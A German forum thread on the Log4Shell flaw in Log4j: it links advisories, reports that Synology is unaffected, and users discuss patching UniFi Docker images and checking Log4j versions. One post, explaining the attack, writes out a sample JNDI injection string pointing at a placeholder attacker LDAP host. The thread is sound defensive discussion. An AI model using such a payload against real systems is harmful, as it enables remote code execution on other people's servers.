Schwerwiegende Log4Shell Sicherheitslücke in der Log4j Java Bibliothek - Synology ist nicht betroffen

Am 10.12.2021 ist eine sehr schwerwiegende Zero-Day-Sicherheitslücke mit dem Namen Log4Shell in der Java Bibliothek Log4j bekannt geworden. Die Sicherheitslücke ist deswegen so schwerwiegend weil sie sehr leicht auszunutzen ist und darüber beliebiger Code ausgeführt werden kann. Weiterhin ist die Log4j Bibliothek extrem weit verbreitet.

Es ist eine der schwersten Sicherheitslücken, die es je gab! Das BSI bewertet die Bedrohungslage mit rot, was nicht sehr häufig vorkommt.​

Weitere Informationen zu der Lücke finden sich z.B. beim BSI und bei Heise:

https://www.bsi.bund.de/DE/Themen/U...fszielen/Webanwendungen/log4j/log4j_node.html

https://www.heise.de/news/Kritische...hrdet-zahlreiche-Server-und-Apps-6291653.html

Advisory:
https://nvd.nist.gov/vuln/detail/CVE-2021-44228

Synology hat mitgeteilt, dass Synology Produkte von dieser Lücke nicht betroffen sind.

https://www.synology.com/en-global/security/advisory/Synology_SA_21_30

Da die Sicherheitslücke so weitreichend ist solltet ihr unbedingt eure komplette IT prüfen, ob andere Systeme betroffen sind.​

Eine abschließende Liste, welche Geräte betroffen sind, gibt es nicht. Es gibt eine inoffizielle Liste eines Sicherheitsforschers, die eine erste Vorstellung gibt, was alles betroffen ist.

https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

 

[Fusion]

Natürlich sind da log4j Einträge, der container arbeitet schließlich mit dieser Logging Komponente vor und nach dem Update.
Die 6.5.54 arbeitet mit 2.15.0. Wird wohl die Tage irgendwann noch ein Update kommen, weil da noch nicht alle Lücken gefixt sind, erst in 2.16.0.

Dass du solche Einträge findest hat nichts damit zu tun ob du infiziert bis oder nicht.
Das zeigt nur an dass diese Softwarekomponente zum Einsatz kommt.

 

[Huhie]

Moin Zusammen,
vielen Dank für die schnelle Info! Dann werde ich mal den Unifi Controller neu aufsetzen. Die Frage ist, ob ich im Docker nun die 6.5.55 nehme oder
aber lieber noch die 6.0.45 und dann die manuellen Updates einspiele?

@DKeppi Hast Du eine deutsche Installationsanleitung für die manuellen Fixes?

 

[geimist]

Ich wollte nur noch einmal nachfragen, ob ich alles richtig gemacht habe und das Verhalten meiner DS richtig ist, so wie ich es im Post #13 geschrieben haben?

Dafür habe ich dir ja ein thumbs up gegeben

 

[DKeppi]

@DKeppi Hast Du eine deutsche Installationsanleitung für die manuellen Fixes?

Leider nicht sorry, aber jacobalberty hat sich ja in dem ein oder anderen Image darum gekümmert.
Wenn du aktuell sein willst, dann nimm 6.5.55

Hier ein ganz guter Beitrag wie du dann prüfen könntest, ob du infiziert bist (log4j-scan hilft dabei):
https://engineerworkshop.com/blog/log4j-determine-server-affected-log4shell-vulnerability/amp/

 

[tproko]

Irgendwie werden da Begriffe vermischt...

"Affected" heißt für mich, dass der Server betroffen ist / sein kann.
"Infiziert" ist ja was anderes, dass findet man mit dem grep/scan nach log4j nicht raus.

Im Endeffekt muss man mal rausfinden, ob man Software hat, die "betroffen" ist.
Wenn diese dann ins Internet durfte, dann kann es sein, dass man angegriffen wurde...
Kommt drauf an, ob das abgesichert war, wer da wo wie welche Log-Meldungen "einschleusen" konnte (manchmal reichte zB. ein Abruf via manipulierten User-Agent schon dafür) ... das kommt aber sehr auf die verwendete Software an.

Gerade bei diesen SmartHome Dingen oder Unify, wenn die Dinger nur im "LAN" waren, und keine Ports nach außen gegeben wurden, ja dann sollte man seine Software updaten. Aber wahrscheinlich sollte es wohl (hoffentlich) nichts schlimmes angerichtet haben, da nicht im Internet.

Wenn da irgendwas läuft, und das ist nach außen ins Internet verfügbar, ja, dann kann es sein, dass man Schadcode nachgeladen bekommen hat. Schwer zu beurteilen. Das muss sich jeder für sich ansehen, da sind viel zu viele ungeklärte Punkte, als da irgendwas zu verallgemeinern.

 

[DKeppi]

https://issues.apache.org/jira/browse/LOG4J2-3230

 

[Anthracite]

find / -iname "*log4j*"

Das dauert zwar etwas, aber nun habe ich Klarheit ..

Auf der sicheren Seite bist du damit nicht.

Wenn du ein Java-Programm hast, das als jar-Datei (Java Archive) gepackt ausgeliefert wird, und in der jar-Datei die kritische log4j-Bibliothek mit enthalten ist, dann findet sie dein find-Befehl nicht. Die Lücke ist aber da.

Auf der sicheren Seite bist du, wenn kein Java installiert ist.

Relativ sicher bist du auch, wenn dein NAS von außen nicht erreichbar ist (außer per VPN). Aber nicht ganz. Stell dir vor, du spielst Minecraft auf einem öffentlichen Server, und dein Minecraft-Programm loggt per log4j der Spieler, mit denen du chattest. Und dann schickt dir ein Spieler mit Namen "${jndi:ldap://boser.server.de/a}" eine Nachricht. Das war's dann. Gut, mit Minecraft ist das Spekulation, denn Minecraft ist zwar betroffen, aber der Server, und ich weiß nicht, ob das lokale Programm überhaupt so etwas loggt. Außerdem wirst du dein Syno-NAS nicht zum Minecraft-Spielen nehmen. Es wäre aber theoretisch denkbar, dass ein anderes Programm Daten, die von außerhalb kommen, loggt.

Ich denke mal, wenn man keine Services nach außen anbietet, d. h. das NAS nicht von außen erreichbar ist, kann man gut schlafen.
Updates der Programme und Pakete, die Java enthalten, sollte man aber machen.

 

[AndiHeitzer]

Auf der sicheren Seite bist du damit nicht.

Ja, solange ich nur nach den Bibliotheken suche, hast Du vollkommen recht.

Um aber angreifbar zu sein braucht es natürlich mehr.
Zum Einen diese Bibliotheken und eine Software, die darauf zugreifen möchte/will/soll/kann/....

Nachdem ich also auf der DS kein JAVA drauf habe und auch keine Bibliothek im Filesystem habe, kann ich mich wieder zurücklehnen ...

Auf meiner WIN10-Kiste ist eine Bibliothek vorhanden, weil ich hier einen MSSQL-Server-Developer-Edition installiert habe.
Da muss ich mich noch bissel reinlesen.

 

[tproko]

Log4j 2.17.0 wurde released und fixed einen weiteren cve.

Das patchen und Updaten geht also weiter. Ist zwar kicht mehr ganz so krass, da zumindest wir die Patterns so nie verwendet haben, aber gehört natürlich trotzdem zeitnah wieder aktualisiert.

 

[Anthracite]

Das wird nicht der letzte Patch gewesen sein.

Seit der schweren Lücke von Anfang Dezember wird log4j so intensiv getestet und auf Sicherheit untersucht wie noch nie. Es ist damit zu rechnen, dass noch mehr Fehler gefunden werden.

Die letzte Lücke, weswegen 2.17 kam, ist jetzt nicht so gravierend. Ist die nicht behoben, kann ein Angreifer das Programm abschießen aber er kann weder Daten ändern noch abgreifen.

 

[DKeppi]

jacobalberty hat heute mal gepostet, wie man die log4j Version zB in seinem Unifi v6.0.45 Docker Image prüfen kann:

mkdir -p log4j-core-verify

cd log4j-core-verify

sudo docker pull jacobalberty/unifi:v6.0.45

sudo docker run -d --rm --name unifitest jacobalberty/unifi:v6.0.45

sudo docker cp unifitest:/usr/lib/unifi/lib/log4j-core-2.13.3.jar ./

unzip log4j-core-2.13.3.jar

grep Implementation-Version META-INF/MANIFEST.MF

sudo docker stop unifitest

cd ..

That should give you a bunch of output and at the very end second to last line spit out Implementation-Version: 2.17.0

That is the actual version of the log4j installed in the container.